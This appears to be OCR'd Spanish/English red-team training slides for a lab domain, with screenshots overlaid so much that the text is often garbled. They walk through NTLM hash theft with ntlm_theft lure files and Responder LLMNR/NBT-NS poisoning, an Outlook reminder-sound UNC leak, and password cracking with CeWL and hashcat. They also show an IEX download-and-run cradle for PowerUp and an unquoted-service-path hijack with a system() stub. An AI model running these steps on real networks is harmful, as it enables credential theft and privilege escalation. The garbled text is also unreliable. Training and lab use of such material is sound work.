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“PWN LIKE A MDFK ft.
RED TEAM VIEW”

Day Three: Blessed ignorance



Seguridad de Windows

- Configuracion de antivirus y
proteccion contra amenazas

Ver y actualizar la configuracién de Proteccién contra virus y amenazas de
Antivirus de Microsoft Defender.

Proteccion en tiempo real

Busca malware e impide que se instale o ejecute en tu dispositivo. Puedes
desactivar esta opcién durante un breve periodo de tiempo antes de que
se vuelva a activar automaticamente.

Q Activado

Proteccion basada en la nube

Proporciona una proteccién mayor y mas rapida con acceso a los datos
mas recientes de proteccién en la nube. Funciona mejor cuando el envio
automaético de muestras estd activado.

Q Activado




BLEACH.local : WE LIKE HASHES

[:—(xa.L,,af.’)—[~/Documents/nt1m theft |

% pip3 install xlsxwriter
Defaulting to user installation because normal site-packages is not writeable
Requirement already satisfied: xlsxwriter in /usr/lib/python3/dist-packages (3.0.2)

[i—(;;11g:;;ii)—[~/Documents/nt1m_theft]

5 python ntlm_theft.py
usage: ntlm_theft.py --generate all --server <ip_of_smb_catcher_server> --filename <base_file_name>
ntlm_theft.py: error: the following arguments are required: -g/--generate, -s/--server, -f/--filename

[j—(_:L*f~3:1.)—[~/Documents/nt1m theft]

$ python3 ntlm_theft.py -g all -s 10.0.9.7 -f BLEACH
Created: BLEACH/BLEACH.scf (BROWSE TO FOLDER)
Created: BLEACH/BLEACH-(url).url (BROWSE TO FOLDER)
Created: BLEACH/BLEACH-(icon).url (BROWSE TO FOLDER)
Created: BLEACH/BLEACH.lnk (BROWSE TO FOLDER)
Created: BLEACH/BLEACH.rtf (OPEN)

https://github.com/Greenwolf/ntim _theft
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BLEACH.local : WE LIKE HASHES

f—*( )-[~/Documents/ntlm_theft |
S ) * P i ns t d 1 l > Este equipo > Descargas > BLEACH
DefaU1ting to use o Nombre echa de mod cio po Tamaro

Requirement alreadsd B B
| BLEACH-(externalcell).xlsx
3 BLEACH-(frameset).docx

‘ ( )~ L s =] BLEACH-(fulldocx).xml
—% pvthon ntlm tES i1 BLEACH-(icon) 318:20 d
. = B BLEACH-(includepicture).docx 2 3 0 0 1 3 .
usage: ntlm_theft 5 =y - . s : base_f11e_name>
ntlm_theft.py: er (2] BLEACH-(stylesheet) xm| er, -f/--filename
&P BLEACH-(url)
# BLEACH.application Vianif...
—( ) - \r ve - Personal =) BLEACH.asx 3
1 \ L
e y @ BLEACH.htm
3 2 ntlm_ "] BLEACH.jnlp
Created: BLEACH/B ] BLEACH
, s 6| BLEACH.m3u
Created: BLEACH/B o ——
Created: BLEACH/BER %] BLEACH.ntf
5 7] BLEACH
Created: BLEACH/B B it et s

Created: BLEACH/BJ B) desktop.ni

|=| zoom-attack-instructions.txt

https://github.com/Greenwolf/ntim _theft
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BLEACH local : WE LIKE HASHES

L2 )-| ~/Documents/ntlm_theft |

— Jiiﬁ 3 install FAuNENrTEEE. BLEACH
Defaulting to use 2 e

Descargas >

Nombre Fecha de modificacién Tipo Tamano

3 rapido |
Requirement already SRR & s n

1gas H &« O (D) Archivo | Ci/Users/jquerito/Downloads/BLEACH/BLEACH.pdf
‘ Y, entos o
—$ python ntlm_tE§

usage: ntlm_theft jiff

I\ ) —

b [

ntlm_theft.py: er Mg, :. PDF Document
1—{_ IR - - Personai j
—$ python3 ntlm_13 -
Created: BLEACH/BIgg
Creat ed : B L EACH/B Ioea:t;:PRINCIPAL-BLEACH] E;
Created: BLEACH/BM# E
Created: BLEACH/BgS =

Created: BLEACH/B';3D

S

local (C:)

[

https://qithub.com/Greenwolf/ntim_theft
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BLEACH.local : WE LIKE

r—% )-|[~/Documents/ntlm theft |
e MJ 1 P 1 inSta1~L » Esteequipo > Descargas > BLEACH
Defaulting to use B

Requirement alreadsd

( )7[

\ / entos
P ntlm_tES

s ) \ 101

Created: BLEACH/B
Created: BLEACH/B
Created: BLEACH/BEH

Created: BLEACH/Bigs -
Created: BLEACH/Bi &

,7(: ) - [ e - Personal
python3 ntlm_%

https://github.com/Greenwolf/ntim _theft

PDF Document

3 @ obj
<< /Type /Page
/Contents 4 @ R
/AA <<
/0 <<
/F (\\\\127.0.0.1\\test)
/D [ @ /F1it]
/S /GoToE
>>
>>
/Parent 2 @ R
/Resources <<
/Font <<
/F1 <<
/Type /Font
/Subtype /Typel
/BaseFont /Helvetica
>>
>>
>>

>>

endobj
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BLEACH.local : WE LIKE HASHES

—( )- [ ~/Documents/ntlm theft]

NiNn3 3 : - =
PP 1nSta11 > Esteequipo > Descargas > BLEACH [*] Skipping previously captured hash for BLEACH\DESKTOP-OSN3UTI$
[*] Skipping previously captured hash for BLEACH\DESKTOP-OSN3UTI$

DefaU1tlng to use A Non NTLMv2-SSP Client
Requirement alreas NTLMv2-SSP Username :

NTLMv2-SSP Hash
E< )1
python ntlm_t

Py 1C
[*] Skipping previously captured hash for BLEACH\jquerito

BLEACH.pdf

0 00830¢ 0 0 00
[*] Skipping p iously captured hash for BLEACH\jquerito

yWthot

usage: ntlm_theft
[*] Skipping previously captured hash for BLEACH\jquerito
[*] Skipping previously captured hash for BLEACH\jquerito
) [*] Skipping previously captured hash for BLEACH\jquerito
3 ntlm_
[*] Skipping previously captured hash for BLEACH\jquerito
- [*] Skipping previously captured hash for BLEACH\jquerito
Created . BLEACH/B oro [*] [LLMNR] Poisoned answer sent to 10.0.9.4 for name PRINCIPAL-BLEAC
[*] [LLMNR] Poisoned answer sent to fe80::92:4916:e359:f3de for name PRINCIPAL-BLEAC
[*] [LLMNR] Poisoned answer sent to fe80::92:4916:e359:f3de for name PRINCIPAL-BLEAC
[*#] [LLMNR] Poisoned answer sent to fe80::92:4916:e359:f3de for name wpad

. .
ntlm_theft - py . er erc_20081005_win' [*] Skipping previously captured hash for BLEACH\jquerito
[*] Skipping previously captured hash for BLEACH\jquerito
(’ )_ \ e Personial [*] Skipping previously captured hash for BLEACH\jquerito
\ L i [*] Skipping previously captured hash for BLEACH\jquerito
My i [*] Skipping previously captured hash for BLEACH\jquerito
= [*] Skipping previously captured hash for BLEACH\jquerito
Created: BLEACH/B
% [*] Skipping previously captured hash for BLEACH\jquerito
Created . BLEACH/B [*] Skipping previously captured hash for BLEACH\jquerito
9 [#] [LLMNR] Poisoned answer sent to fe80::92:4916:e359:f3de for name PRINCIPAL-BLEAC
Created . BLEACH/B [*] [LLMNR] Poisoned answer sent to 10.0.9.4 for name PRINCIPAL-BLEAC
Created . BLEACH/B [*] [LLMNR] Poisoned answer sent to fe80::92:4916:e359:f3de for name PRINCIPAL-BLEAC
[#] [LLMNR] Poisoned answer sent to 10.0.9.4 for name PRINCIPAL-BLEAC
[*] [LLMNR] Poisoned answer sent to 10.0.9.4 for name PRINCIPAL-BLEAC
[*] Skipping previously captured hash for BLEACH\jquerito
[*] [NBT-NS] Poisoned answer sent to 10.0.9.4 for name WPAD (service: Workstation/Redirector)
[*] [LLMNR] Poisoned answer sent to fe80::92:4916:e359:f3de for name wpad

https://github.com/Greenwolf/ntim _theft
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BLEACH.local : WE LIKE HASHES

F—%ﬁ )-|[~/Documents/ntlm theft ]
—$ pip3 install 3} . Esteequipo > Descargas > BLEACH

Defaulting to use
Requirement alrea(

Skipping previously captured hash for BLEACH\DESKTOP-OSN3UTI$
[*] Skipping previously captured hash for BLEACH\DESKTOP-OSN3UTI$
NTLMv2-SSP Client D.9.5
NTLMv2-SSP Username :
NTLMv2-SSP Hash

0030002 000 0000000000

] Skipping previously captured hash for BLEACH\jquerito
] Skipping previously captured hash for BLEACH\jquerito
] Skipping previously captured hash for BLEACH\jquerito
] Skipping previously captured hash for BLEACH\jquerito
] Skipping previously captured hash for BLEACH\jquerito
1
1
1
1
1

! 00¢

*
*

*

* W

Skipping previously captured hash for BLEACH\jquerito
Skipping previously captured hash for BLEACH\jquerito
Skipping previously captured hash for BLEACH\jquerito
Skipping previously captured hash for BLEACH\jquerito
Skipping previously captured hash for BLEACH\jquerito
*] Skipping previously captured hash for BLEACH\jquerito
[*] Skipping previously captured hash for BLEACH\jquerito
[*] Skipping previously captured hash for BLEACH\jquerito

A
{ [*] Skipping previously captured hash for BLEACH\jquerito
[*] Skipping previously captured hash for BLEACH\jquerito
{ [*] [LLMNR] Poisoned answer sent to 10.0.9.4 for name PRINCIPAL-BLEAC
[#] [LLMNR] Poisoned answer sent to fe80::92:4916:e359:f3de for name PRINCIPAL-BLEAC
{ [*] [LLMNR] Poisoned answer sent to 10.0.9.4 for name PRINCIPAL-BLEAC
( [*] [LLMNR] Poisoned answer sent to fe80::92:4916:e359:f3de for name PRINCIPAL-BLEAC

ingf ip.com - [*] [LLMNR] Poisoned answer sent to fe80::92:4916:e359:f3de for name PRINCIPAL-BLEAC

[*] [LLMNR] Poisoned answer sent to 10.0.9.4 for name PRINCIPAL-BLEAC

[*] [LLMNR] Poisoned answer sent to fe80::92:4916:e359:f3de for name PRINCIPAL-BLEAC

[*] [LLMNR] Poisoned answer sent to 10.0.9.4 for name PRINCIPAL-BLEAC

[*] Skipping previously captured hash for BLEACH\jquerito

[*] [LLMNR] Poisoned answer sent to fe80::92:4916:e359:f3de for name wpad

[*] [NBT-NS] Poisoned answer sent to 10.0.9.4 for name WPAD (service: Workstation/Redirector)

[*] [LLMNR] Poisoned answer sent to fe80::92:4916:e359:f3de for name wpad

*
*

*

* ¥

>
- T

https://github.com/Greenwolf/ntim _theft



https://github.com/Greenwolf/ntlm_theft

THM : Mails : NTLMv2 HASHES FROM OUTLOOK

https://tryhackme.com/room/outlookntimleak
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THM : Mails : NTLMv2 HASHES FROM OUTLOOK

xfreerdp /u:Administrator /p:Password321 /v:10.10.136.151

Serial Port Redirection: /serial:<name>,<device>,[SerCx2|SerCx|Seri:
Serial Port Redirection: /serial:COM1,/dev/ttySo

Parallel Port Redirection: /parallel:<name>,<device>

Printer Redirection: /printer:<device>,<driver>

TCP redirection: /rdp2tcp:/usr/bin/rdp2tcp

Audio Output Redirection: /sound:sys:oss,dev:1,format:1
Audio Output Redirection: /sound:sys:alsa

Audio Input Redirection: /microphone:sys:oss,dev:1,format:1
Audio Input Redirection: /microphone:sys:alsa

Multimedia Redirection: /video
USB Device Redirection: /usb:id:054c:0268#4669:6e6b,addr:04:0c

For Gateways, the https_proxy environment variable is respected:
export https_proxy=http://proxy.contoso.com:3128/
xfreerdp /g:rdp.contoso.com ...

More documentation is coming, in the meantime consult source files

L—(ka'l.i@kali) [~/Downloads |

$ xfreerdp /u:Administrator /p:Password321 /v:10.10.136.151
[14:50:47:963] [84487:84488] [WARN][com.freerdp.crypto] - Certificat
[14:50:47:963] [84487:84488] [WARN][com.freerdp.crypto] - CN = THM-1
[14:50:50:383] [84487:84488] [ERROR][com.winpr.timezone] - Unable t¢
[14:50:51:557] [84487:84488] [INFO][com.freerdp.gdi] - Local framebt
[14:50:51:557] [84487:84488] [INFO][com.freerdp.gdi] - Remote framet
[14:50:51:587] [84487:84488] [INFO][com.freerdp.channels.rdpsnd.clic @8 © &= & B bz & © A Tdy va [m]
[14:50:51:588] [84487:84488] [INFO][com.freerdp.channels.drdynvc.cliciicy  Luauing UyiGmic viituae CHGHISt Lupsgia

https://tryhackme.com/room/outlookntimleak
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THM : Mails : NTLMv2 HASHES FROM OUTLOOK

xfreerdp /u:Administrator /p:Password321 /v:10.10.136.151

Serial Port Redirection: /serial:<name>,<device>,[SerCx2|SerCx|Seri
Serial Port Redirection: /serial:COM1,/dev/ttyS0
Parallel Port Redirection: /parallel:<name>,<device>
Printer Redirection: /printer:<device>,<driver>
TCP redirection: /rdp2tcp:/usr/bin/rdp2tc
/kdeztep/lzEAbindzdezicn B® Microsoft
Audio Output Redirection: /sound:sys:oss,dev:1,format:1
Audio Output Redirection: /sound:sys:alsa

Audio Input Redirection: /microphone:sys:oss,dev:1,format Sign in to Set up Office

Audio Input Redirection: /microphone:sys:alsa

Multimedia Redirection: /video
USB Device Redirection: /usb:id:054c:0268#4669:6e6b,addr:

For Gateways, the https_proxy environment variable is res
export https_proxy=http://proxy.contoso.com:3128/
xfreerdp /g:rdp.contoso.com

More documentation is coming, in the meantime consult sou

= )-[~/Downloads |

X /u:Administrator /p:Password321 /v:10.10.136
[14:50:47:963] [84487:84488] [WARN][com.freerdp.crypto] -
[14:50:47:963] [84487:84488] [WARN][com.freerdp.crypto] -
[14:50:50:383] [84487:84488] [ERROR][com.winpr.timezone]
[14:50:51:557] [84487:84488] [INFO][com.freerdp.gdi] - Lo
:557] [84487:84488] [INFO][com.freerdp.gdi] - Re
:587] [84487:84488] [INFO][com.freerdp.channels.
[14:50:51:588] [84487:84488] [INFO][com.freerdp.channels.

https://tryhackme.com/room/outlookntimleak
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THM :

TERRES

: NTLMv2 HASHES FROM OUTLOOK

xfreerdp /u:Administrator /p:Password321 /v:10.10.136.151

Serial Port Redirection: /serial:<name>,<device>,[SerCx2|SerCx|Seri

Serial Port Redirection: /serial:COM1,/dev/ttyS0
Parallel Port Redirection: /parallel:<name>,<device>
Printer Redirection: /printer:<device>,<driver>

TCP redirection: /rdp2tcp:/usr/bin/rdp2tcp

Audio Output Redirection: /sound:sys:oss,dev:1,format:1 = Inbox - test@thm.loc - Outlook
Audio Output Redirection: /sound:sys:alsa

: : : 3 Send / Recei Fold Vi Help  Q Tell me what tto d
Audio Input Redirection: /microphone:sys:oss,dev:1,format phi tesd £ e et i i)

; i T i . : 3 ~3 = 3 3 ¥ ve~
Audio Input Redirection: /microphone:sys:alsa E;% > {;¥; 2 Qe & ? Move © Unread/ Read

x T | {fF”t £3 To Manager || “SRules~ AddressBook | 0%
Multimedia Redirection: /video ew elete Archive Reply Reply Forward [f. |, = > Follow Up~ eal end/Receive
/ Email tems~ | €~ All 8~ | Team Email Monenote | £ Aloud Al Folders

USB Device Redirection: /usb:id:054c:0268#4669:6e6b,addr:
For Gateways, the https_proxy environment variable is res
export https_proxy=http://proxy.contoso.com:3128/ 4 Favorites <
xfreerdp /g:rdp.contoso.com ...

More documentation is coming, in the meantime consult sou Sent items

[14:

https://tryhackme.com/room/outlookntimleak

[14:
[14:
[14:
[14:
[

50:

50:
50:
50:
50:
50:

New Delete Respond Quick Steps = Move Tags Find Speech  Send/Receive
0 PRODUCT NOTICE Outlook hasn't been activated. To keep using Outlook without interruption, activate before Friday, April 28, 2023. Activate

Current Mailbox + €2 Reply

Inbox Unread ByDatev 1
— MO ’
4 Last Month Microsoft Outlook Test Message
Deleted Items
Microsoft Outlook

)~ [ ~/Downloads | o Microsoft Outlook Test Me. /31/2023 T':.:S] isan emair: message sfent automatically by Microsoft Outlook
:Administrat P, d321 :10.10.136 . while testing the settings for your account.

:963§u[84?;;1244283r[QiRN??ig;ffrieré;.iry;to%3— by

:963] [84487:84488] [WARN][com.freerdp.crypto] - Drafts

:383] [84487:84488] [ERROR][com.winpr.timezone] Sent Items

:557] [84487:84488] [INFO][com.freerdp.gdi] - Lo Deleted Items

:557] [84487:84488] [INFO][com.freerdp.gdi] - Re i

:587] [84487:84488] [INFO][com.freerdp.channels.

:588] [84487:84488] [INFO][com.freerdp.channels. Outbox

RSS Feeds

Search Folders
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Calendar (This computer only) - test@thm.loc - Outlook Calendar Tools

o N = loveis in the net - Event

Insert Format Text Review Help OutlookSpy Q Tell me what you want to do

7 = 5| Appoi =
E?! x ,B ) !Appomtment C\ Eﬂ :‘_& 22 [ Free v 4¥Recurrence

[5 Scheduling 7 1370 !
Save & Delete Copyto My S - Skype  Meeting Invite 0 minutes + | @ Time Zones
Close Calendar Meeting  Notes  Attendees = v

Actions Skype.. Meetin... Attendees Op! 5 o Tags & ivate

Subject love is in the net iter only)
Location Jiar ||
DA ATURDA
Start time | Sun 4/23/2023 2:00 AM y All day event ERIBAY SATURDAY

Endtime  |Sun 4/23/2023 - 31 Apr1

Prueba prueba prueba When a reminder comes due
Play this sound
\\10.18.18.97\tmp\sound.wav Browse...

Cancel

Microsoft Qutlook X

|21
The file \\10.18.18.97\tmp\sound.wav does not exist.<—'!_'

https://tryhackrr Conneced
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THM : Mails : NTLMv2 HASHES FROM OUTLOOK

O &4 A § 1602 | & C

BEmPoF|1 23 4]0 46

Volume 75%
File Actions Edit View Help

kali@kali: ~/Documents/ntim_theft X i: ~/Doc x iz ~/Di x ke & FreeRDP: 10.10.136.151
Force LM downgradg e s Calendar (This computer only) - test@thm.loc - Outlook Calendar Tools
Force ESS downgrade = Ay s love is in the net - Event
FormatText  Review  Help  OutlookSpy  Q Tell me what you want to do
[+] Generic Options:

ecurrence

Responder NIC
Responder IP

Responder IPv6
Challenge set

Don't Respond To Names

7 ] =t Appointment (¢
o [ x ‘[j ® ke \ s Z[Free
s Delete Copyto My & - s
Calendar
Actions

Meeting Invite
Notes

Meetin...

0 minutes ime Zones
Attendees

Attendees

Meeting

Skype... Options

love is in the net

—

[+] Current Session Variables:

Responder Machine Name
Responder Domain Name
Responder DCE-RPC Port

[+

—

Listening for events...

Error starting SSL server on port 443, check permissions or oth

NTLMv2-SSP Client
NTLMv2-SSP Username :

10.10.136.
THM-LAB\Administrator

151

‘When a reminder comes due
Play this sound
\\10.18.18.97\tmp\sound.wav

Browse...

Cancel

soft Outlook

NTLMv2-SSP Hash : Administrator:: THM-LAB:0981bef3f7618b4d 000
020008004900320035004C0001001E00570049004E002D0030004100410057004B0¢ 004
B002E004900320035004C002E004C004F00430041004C0003001400490032003500! 29B
FFF375D901060004000200000008003000300000000000000000000000003000007 000

00000000000000900200063006900660073002F00310030002E00310038002E0031

[*]
[*]
[*]
[*]
[*]
[*]
M

hash
hash
hash
hash
EH)]
hash

Skipping
Skipping
Skipping
Skipping
Skipping
Skipping

previously
previously
previously
previously
previously
previously

captured
captured
captured
captured
captured
captured

for
for
for
for
for
for

THM-LAB\Administrator
THM-LAB\Administrator
THM-LAB\Administrator
THM-LAB\Administrator
THM-LAB\Administrator
THM-LAB\Administrator

https://tryhackme.com/room/outlookntimleak

Connected

802PM
4/23/2023 ™
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THM : Mails : NTLMv2 HASHES FROM OUTLOOK
o

Recycle Bin

S 4

Google
Chrome ﬂ Outlook Spy Setup

Welcome to the Outlook Spy Setup
Wizard

CVE-2023-2...
T

The Setup Wizard will install Outiook Spy on your computer.
Click Next to continue or Cancel to exit the Setup Wizard.

Y
«z >
“J

2
®?
~
. s-
12
ed

appointme...

appointment

—
Sl 5

process_logs OutlookSpy...

https://tryhackme.com/room/outlookntimleak
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THM : Mails : NTLMv2 HASHES FROM OUTLOOK

H © s - Appointment
7 N

& _Appointmentitem - THM appointment

J IMAPIFolder @ |AddrBook (3] IMAPIFormMgr O e /\:4 Interface:_Appointmentitem e

& IMsgStore ¥k [ProfAdmin & IConverterSession i
2 s Property Efror Code Options GUID: {00063033-0000-0000-C000-000000000046}
&5 IMAPISession &9 [0lkAccountManager 3 OpenlMsgOniStg TagLookup Lookup

Appointment Insert Format Text Review OutlookSpy Q Tell me what you want to do

9] Application
Currentitem inspectar Il.ie;sage

Wordiditor
Script Outlook Object Model Extended MAPL Tools Properties Functions Events Script
& _Appointmentltem - THM appointment - a X

Editor

THM appointment >Run ‘ "-Open HSave ‘ ﬁ

THM htadquanels. Interface; _Apoomunenmemr

, ' Global variables:  Appication, Appointmentltem [vBsaipt |
= > v
GuID: | {00063033-0000-0000-C000-000000000046} ‘ Global functions: BrowseObject(Obj) s

Start time | Mon 3/20/2023
Endtime | Mon3/20/2023 | Properties Functions Events Soipt

.‘_"J CutiookVersion -
#% Parent

&% PropertyAccessor Name:
&, — —

+% Redpients R —— I
2 Dan wrancasiata Type: |String

a%] ReminderMinutesSeforeStart Dispd: [34079 (0x851F)
!

- w s

:; gz:d«O&Vrsv::‘Ode.aJt Access: |Get/Put
=P ReminderSet Value:
10| Reminder SoundFie |
) Keplyime
{3b] RequredAttendees < >
{ab] Resources %
=P ResponseRequested Debug.Print ® Clear
[%5) Responsestatus
+% RTFBody
=P Saved

1% SendUsingAccount

B Concibhib

;Eomzmenmemﬂermdersaunfi\e

AppointmentIten.ReminderOverrideDefault = true ~
@ Hep 37 Refresh AppointmentIten.ReminderPlaySound = true

Hello!|

iilemnders e AppointmentIten.ReminderSoundFile = ™
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CLOUDTOPOLIS

https://github.com/hashtopolis/server

https://shell.cloud.google.com/?show=ide%2Cterminal

Darkbyte

Brute-Force
cracking

Dictionary Attack

"Hey! Runescape blocks

your password!
See! *kkkkkkkk!


https://github.com/hashtopolis/server
https://shell.cloud.google.com/?show=ide%2Cterminal

CLOUDTOPOLIS

https://github.com/hashtopolis/server

https://shell.cloud.google.com/?show=ide%2Cterminal

Error de conexion

Esta cuenta no puede acceder a los entornos de ejecucion de Colab porque
existen indicios de actividad inadecuada. Esto no afecta al acceso a otros

productos de Google. Si crees que se trata de un error, revisa los limites de uso y

presenta una apelacion.

Aceptar

Darkbyte

Brute-Force
cracking

Dictionary Attack

"Hey! Runescape blocks

your password!
See! *kkkkkkkk!


https://github.com/hashtopolis/server
https://shell.cloud.google.com/?show=ide%2Cterminal

Darkbyte

CLOUDTOPOLIS

https://github.com/hashtopolis/server

https://shell.cloud.google.com/?show=ide%2Cterminal

Error de conexion
Brute-Force

Esta cuenta no puede acceder a los entornos de ejecucion de Colab porque
cracking

existen indicios de actividad inadecuada. Esto no afecta al acceso a otros

productos de Google. Si crees que se trata de un error, revisa los limites de uso y

presenta una apelacion.

Aceptar Dictionary Attack

"Hey! Runescape blocks

your password!
See! *kkkkkkkk!

https://www.youtube.com/watch?v=6VvCQF2Ag10

https://www.youtube.com/watch?v=JHrD5sELMdk



https://www.youtube.com/watch?v=JHrD5sELMdk
https://github.com/hashtopolis/server
https://shell.cloud.google.com/?show=ide%2Cterminal
https://www.youtube.com/watch?v=6VvCQF2Ag1o&ab_channel=RootedCON

cewl.rb https://www.bleach-corp.gg/ -m 6 -w dic-sodexo-2.txt
https://qithub.com/digininja/CeWL

Darkbyte

Brute-Force
cracking

Dictionary Attack

"Hey! Runescape blocks

your password!
See! *kkkkkkkk!


https://github.com/digininja/CeWL

cewl.rb https://lwww.bleach-corp.gg/ -m 6 -w dic-sodexo-2.txt
https://qithub.com/digininja/CeWL

hashcat -a 0 -m 1000 dic.txt -r dive.rule -o out.list
echo -n "BLEACH" | hashcat --force --stdout -r rules.file
https://qithub.com/NotSoSecure/password cracking rules

https://github.com/rarecoil/pantagrule

Darkbyte

Brute-Force
cracking

Dictionary Attack

"Hey! Runescape blocks

your password!
See! *kkkkkkkk!


https://github.com/digininja/CeWL
https://github.com/NotSoSecure/password_cracking_rules
https://github.com/rarecoil/pantagrule

cewl.rb https://lwww.bleach-corp.gg/ -m 6 -w dic-sodexo-2.txt
https://qithub.com/digininja/CeWL

hashcat -a 0 -m 1000 dic.txt -r dive.rule -o out.list
echo -n "BLEACH" | hashcat --force --stdout -r rules.file
https://qithub.com/NotSoSecure/password cracking rules

https://github.com/rarecoil/pantagrule

hashcat64.exe --force -m300 -o found.txt

hash.txt rockyou.txt

--status -w3 -r OneRuleToRuleThemAll.rule

https://github.com/kaonashi-passwords/Kaonashi/tree/master/wordlists

https://github.com/danielmiessler/SecLists

Darkbyte

Brute-Force
cracking

Dictionary Attack

"Hey! Runescape blocks

your password!
See! *kkkkkkkk!


https://github.com/digininja/CeWL
https://github.com/NotSoSecure/password_cracking_rules
https://github.com/rarecoil/pantagrule
https://github.com/kaonashi-passwords/Kaonashi/tree/master/wordlists
https://github.com/danielmiessler/SecLists

BLEACH.local : PRIV. ESCALATION : LVL2

IEX(New-Object Net.WebClient).downloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.psl’')

https://blog.certcube.com/powerup-cheatsheet/



https://blog.certcube.com/powerup-cheatsheet/

BLEACH.local : PRIV. ESCALATION : LVL2

IEX(New-Object Net.WebClient).downloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.psl’')

¥ Windows PowerShell
’S C:\Users\jquerito\Downloads\mimikatz-master\mimikatz-master> IEX(New-Object Net.WebClient).downloadString(

’S C:\Users\jquerito\Downloads\mimikatz-master\mimikatz-master> Invoke-AllChecks

serviceName : IObitUnSvr

2ath : C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe

dfodifiablePath : @{ModifiablePath=C:\; IdentityReference=NT AUTHORITY\Usuarios autentificados; Permissions=AppendData/AddSubdirectory}
startName : LocalSystem

\buseFunction : Write-ServiceBinary -Name 'IObitUnSvr' -Path <HijackPath>

“anRestart : False

Jame : IObitUnSvr

“heck : Unquoted Service Paths

serviceName : IObitUnSvr

2ath : C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe

dodifiablePath : @{ModifiablePath=C:\; IdentityReference=NT AUTHORITY\Usuarios autentificados; Permissions=System.Object[]}
startName : LocalSystem

\buseFunction : Write-ServiceBinary -Name 'IObitUnSvr' -Path <HijackPath>

—anRestart : False

Jame : IObitUnSvr

“heck : Unquoted Service Paths

serviceName : IObitUnSvr

2ath : C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe

fodifiablePath : @{ModifiablePath=C:Ukwgram Files (x86)\IObit; IdentityReference=BUILTIN\Usuarios; Permissions=System.Object[]}
startName : LocalSystem

\buseFunction : Write-ServiceBinary -Name 'IObitUnSvr' -Path <HijackPath>

—anRestart : False

Jame : IObitUnSvr

“heck : Unquoted Service Paths

https://blog.certcube.com/powerup-cheatsheet/



https://blog.certcube.com/powerup-cheatsheet/

BLEACH. local :

IEX(New-Object Net.WebClient).downloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.psl')

Windows PowerShell
’S C:\Users\jquerito\Downloads\mimikatz-master\mimikatz-master> IEX(New-Object Net.WebClient).downloadString(

PRIV. ESCALATION

’S C:\Users\jquerito\Downloads\mimikatz-master\mimikatz-master> Invoke-AllChecks

serviceName
’ath
fodifiablePath
startName
\buseFunction
-anRestart
Jame

“heck

serviceName
’ath
dfodifiablePath
startName
\buseFunction
—anRestart
Jame

“heck

serviceName
2ath
fodifiablePath
startName
\buseFunction
—anRestart
dame

“heck

https://blog.c

: @{ModifiablePath=C:\; IdentityReference=NT AUTHORITY\Usuarios autg

: Write-ServiceBinary -Name 'IObitUnSvr'

: @{ModifiablePath=C:\; IdentityReference=NT AUTHORITY\Usuarios autg

: Write-ServiceBinary -Name 'IObitUnSvr'

I0bitUnSvr

C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe ~ | IObit

Archivo Inicio

Lo AR\

LocalSystem Compartir Vista

-Path <HijackPath> <« Archivos de programa (x86) > 10bit »
False
IObitUnSvr

B " 1 ~ hea
Unquoted Service Paths Escritona Nomhre

& Descargas

=| Documentos

Advanced SystemCare
10bit Uninstaller

IObitUnSvr
C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe

| Imdgenes
LocalSystem

: Write-ServiceBinary -Name 'IObitUnSvr' -Path <HijackPath> 2 :Downloads
: False J\ Musica
IObitUnSvr

Unquoted Service Paths

IObitUnSvr
C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe

- @{Modifiablepath=C:Ukmgram Files (x86)\IObit; IdentityReference=BUILTIN\Usuarios; Permissions=System.Object[]}

LocalSystem
-Path <HijackPath>
False

IObitUnSvr

Unquoted Service Paths

ertcube.com/powerup-cheatsheet/

LVL2

Fecha de mo



https://blog.certcube.com/powerup-cheatsheet/

BLEACH. local :

IEX(New-Object Net.WebClient).downloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.psl')

Windows PowerShell
’S C:\Users\jquerito\Downloads\mimikatz-master\mimikatz-master> IEX(New-Object Net.WebClient).downloadString(

PRIV. ESCALATION

’S C:\Users\jquerito\Downloads\mimikatz-master\mimikatz-master> Invoke-AllChecks

serviceName
’ath
fodifiablePath
startName
\buseFunction
-anRestart
Jame

“heck

serviceName
’ath
dfodifiablePath
startName
\buseFunction
—anRestart
Jame

“heck

serviceName
2ath
fodifiablePath
startName
\buseFunction
—anRestart
dame

“heck

https://blog.c

: @{ModifiablePath=C:\; IdentityReference=NT AUTHORITY\Usuarios autg

: Write-ServiceBinary -Name 'IObitUnSvr'

: @{ModifiablePath=C:\; IdentityReference=NT AUTHORITY\Usuarios autg

: Write-ServiceBinary -Name 'IObitUnSvr'

ertcube.com/powerup-cheatsheet/

I0bitUnSvr

C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe ~ | IObit

Archivo Inicio

Lo AR\

LocalSystem Compartir Vista

-Path <HijackPath> <« Archivos de programa (x86) > 10bit »
False
IObitUnSvr

B " 1 ~ hea
Unquoted Service Paths Escritona Nomhre

& Descargas

=| Documentos

Advanced SystemCare
10bit Uninstaller

IObitUnSvr
C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe

| Imdgenes
LocalSystem

: Write-ServiceBinary -Name 'IObitUnSvr' -Path <HijackPath> 2 :Downloads
: False J\ Musica
IObitUnSvr

Unquoted Service Paths

IObitUnSvr
C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe

- @{Modifiablepath=C:Ukmgram Files (x86)\IObit; IdentityReference=BUILTIN\Usuarios; Permissions=System.Object[]}

LocalSystem
-Path <HijackPath>
False

IObitUnSvr

Unquoted Service Paths

LVL2

Fecha de mo

https://systemweakness.com/windows-privilege-escalation-unquoted-service-paths-cc761af10e32



https://blog.certcube.com/powerup-cheatsheet/
https://systemweakness.com/windows-privilege-escalation-unquoted-service-paths-cc761af10e32

BLEACH.local : PRIV. ESCALATION : LVL2

#include <stdlib.h>

int main ()

{

int user;

user = system("CMD-CODE");
return 9;

}




BLEACH.local : PRIV. ESCALATION : LVL2

#include <stdlib.h>

int main ()

{

int user;
user = system("CMD-CODE");
return 9;

}

// 1686-w64-mingw32-gcc shell.c -o shell.exe
// x86_64-w64-mingw32-gcc shell.c -o shell64.exe




BLEACH.local : PRIV. ESCALATION : LVL2

